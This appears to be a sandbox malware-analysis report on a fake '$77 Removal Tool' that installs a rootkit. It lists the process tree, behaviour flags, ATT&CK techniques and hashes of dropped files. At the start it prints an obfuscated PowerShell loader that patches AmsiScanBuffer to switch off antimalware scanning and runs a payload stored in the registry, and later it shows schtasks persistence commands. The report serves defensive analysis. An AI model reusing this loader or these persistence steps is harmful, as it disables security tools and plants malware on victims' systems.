$_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'of'+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+'.'+'Un'+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+'d'+[Char](115)+'');$gUzXFtguMvZjcp=$fmuyGSTDTYrZf.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+'c'+'Ad'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hnXDWEIjpcAfTiTDWUZ=wjImmlZpmsUu @([String])([IntPtr]);$ByCMKSwbhiLrXOduYxNkQg=wjImmlZpmsUu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MKYCFKyvCEi=$fmuyGSTDTYrZf.GetMethod('G'+'e'+''+[Char](116)+''+'M'+''+[Char](111)+'du'+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$NulybXVztypyMR=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$MKYCFKyvCEi,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+'i'+[Char](98)+''+'r'+''+[Char](97)+'r'+[Char](121)+''+'A'+'')));$EqEGWDIoySWciFzIi=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$MKYCFKyvCEi,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+[Char](108)+''+'P'+''+'r'+''+[Char](111)+''+'t'+''+'e'+''+'c'+''+'t'+'')));$YVVkfgT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NulybXVztypyMR,$hnXDWEIjpcAfTiTDWUZ).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$GfuSsBxPrwVKiYOfB=$gUzXFtguMvZjcp.Invoke($Null,@([Object]$YVVkfgT,[Object](''+'A'+''+[Char](109)+'si'+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$jZCDLzcqrR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EqEGWDIoySWciFzIi,$ByCMKSwbhiLrXOduYxNkQg).Invoke($GfuSsBxPrwVKiYOfB,[uint32]8,4,[ref]$jZCDLzcqrR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GfuSsBxPrwVKiYOfB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EqEGWDIoySWciFzIi,$ByCMKSwbhiLrXOduYxNkQg).Invoke($GfuSsBxPrwVKiYOfB,[uint32]8,0x20,[ref]$jZCDLzcqrR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+'7'+''+[Char](115)+''+'t'+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1416
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1448
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1540
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1972
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1460
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2616
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2668
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:1480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3332
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3420 -
C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe"C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$77 Rootkit Remover" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:5076
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C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe"C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$77 Rootkit Remover" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:1640
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
PID:3976
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77$77 Removal Tool.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\$77 Removal Tool.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:2860
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3532
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3712
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3868
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4080
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:548
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1908
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:364
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4580
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:4060
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4036
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:3028
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4936
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:1920
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 781e7ceaf58a0405e497c19cb60817bb PgeU1kFDAEm1clcFwNYR9w.0.1.0.0.01⤵
- Sets service image path in registry
PID:4500 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:4692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:720
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3596
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4296
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca1⤵PID:376
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\install.exe
- Size 162KB
- SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
- MD5 152e3f07bbaf88fb8b097ba05a60df6e
- SHA1 c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
- SHA512 2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
- SSDEEP 3072:KQpsO4jaqeCDcvpeCkZNQgAxjJ2hfOiFIYHwHzaQ09V098F/fUO5tTl:KQpsO4jajCIvpe/ZNQZuhfLguQ00KHTl
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\$77 Removal Tool\$77Remover.exe
- Size 409KB
- SHA256 ad4f988a89e1ca7d8db44144b8b344a74f10b1a7e3643ad32782c9c24a3bfcb9
- MD5 07f4778c3708c0c130dbb45cf1633dbd
- SHA1 5188ff38d1b3d9fb1cb60b3820861f518700422f
- SHA512 87fe4e61e0903b7d3b8ba27e939bd51b822753b3bd94bcee3bc6f6f0f8973ce74ba9d3238cd2124265f8d7748fd8960ecc45e77326a90ac69158b9f774556036
- SSDEEP 6144:LMx9p1kREG60ol3dhNNV+2qgP9nTgMSghCb58ABnB6E9CJmAorfrzlC:mpiREGJ6hNNV3qm9njGnBd95HrfrJC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
- MD5 8abf2d6067c6f3191a015f84aa9b6efe
- SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
- SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
- MD5 f313c5b4f95605026428425586317353
- SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
- SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
- MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
- SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
- SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
- MD5 7d612892b20e70250dbd00d0cdd4f09b
- SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
- SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
- MD5 1e8e2076314d54dd72e7ee09ff8a52ab
- SHA1 5fd0a67671430f66237f483eef39ff599b892272
- SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
- MD5 0b990e24f1e839462c0ac35fef1d119e
- SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
- SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
- MD5 SHA1 SHA512
- Path C:\Windows\Temp\__PSScriptPolicyTest_sjiucjpd.z55.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512